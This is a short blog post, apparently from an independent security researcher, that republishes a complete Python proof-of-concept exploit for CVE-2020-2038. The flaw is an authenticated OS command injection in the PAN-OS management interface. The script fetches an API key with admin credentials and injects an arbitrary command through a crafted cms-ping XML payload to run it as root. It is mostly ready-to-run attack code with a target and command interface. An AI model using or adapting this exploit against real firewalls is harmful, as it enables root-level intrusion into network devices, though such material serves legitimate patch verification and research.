Saturday, March 2, 2024

PAN-OS 10.0 RCE (Remote Code Execution) Vulnerability

A Remote Code Execution vulnerability (Authenticated) was discovered in PAN-OS 10.0 by security researcher UND3SC0N0C1D0

# Exploit Title: PAN-OS 10.0 - Remote Code Execution (RCE) (Authenticated)
# Exploit Author: UnD3sc0n0c1d0
# Software Link: https://security.paloaltonetworks.com/CVE-2020-2038
# Category: Web Application
# Version: <10.0.1, <9.1.4 and <9.0.10
# Tested on: PAN-OS 10.0 - Parrot OS
# CVE : CVE-2020-2038
#
# Description:
# An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated 
# administrators to execute arbitrary OS commands with root privileges.
# More info: https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/
# Credits: Mikhail Klyuchnikov and Nikita Abramov of Positive Technologies for discovering and reporting this issue.

#!/usr/bin/env python3

import requests
import urllib3
import sys
import getopt
import xmltodict

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def banner():
    print('\n###########################################################################')
    print('# Proof of Concept for CVE-2020-2038                                      #')
    print('# Vulnerability discovered by Mikhail Klyuchnikov and Nikita Abramov of   #')
    print('# Positive Technologies                                                   #')
    print('# https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/ #')
    print('#                                                                         #')
    print('#                           Exploit by: Juampa Rodríguez (@UnD3sc0n0c1d0) #')
    print('###########################################################################')

def exploit(target,user,password,command):
    apiparam = {'type': 'keygen', 'user': user, 'password': password}
    apiresponse = requests.get(target+'api/', params=apiparam, verify=False)
    xmlparse = xmltodict.parse(apiresponse.content)
    apikey = xmlparse['response']['result']['key']
    payload = '<cms-ping><host>8.8.8.8</host><count>1</count><pattern>111<![CDATA[||'+command+'||]]></pattern></cms-ping>'
    parameters = {'cmd': payload, 'type': 'op', 'key': apikey}
    response = requests.get(target+'api', params=parameters, verify=False)
    print(response.text[50:-20])

def usage():
    print('\nusage: CVE-2020-2038.py\n\n')
    print('arguments:')
    print('     -h      show this help message and exit')
    print('     -t      target URL (ex: http://vulnerable.host/)')
    print('     -u      target administrator user')
    print('     -p      pasword of the defined user account')
    print('     -c      command you want to execute on the target\n')
    
def main(argv):
    if len(sys.argv) < 9:
        banner()
        usage()
        sys.exit()
    try:
        opts, args = getopt.getopt(argv,"ht:u:p:c:")
    except getopt.GetoptError:
        banner()
        usage()
        sys.exit()
    for opt, arg in opts:
        if opt == '-h':
            usage()
            sys.exit()
        if opt == '-t':
            target = arg
        if opt == '-u':
            user = arg
        if opt == '-p':
            password = arg
        if opt == '-c':
            command = arg
    banner()
    exploit(target,user,password,command)
    sys.exit()

if __name__ == "__main__":
    try:
        main(sys.argv[1:])
    except KeyboardInterrupt:
        print('Interrupted by users...')
    except:
        sys.exit()
            

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Steven Black (n0tst3)
Hello! I'm Steve, an independent security researcher, and analyst from Scotland, UK. I've had an avid interest in Computers, Technology and Security since my early teens. 20 years on, and, it's a whole lot more complicated... I've assisted Governments, Individuals and Organizations throughout the world. Including; US DOJ, NHS UK, GOV UK. I'll often reblog infosec-related articles that I find interesting. On the RiSec website, You'll also find a variety of write-ups, tutorials and much more!

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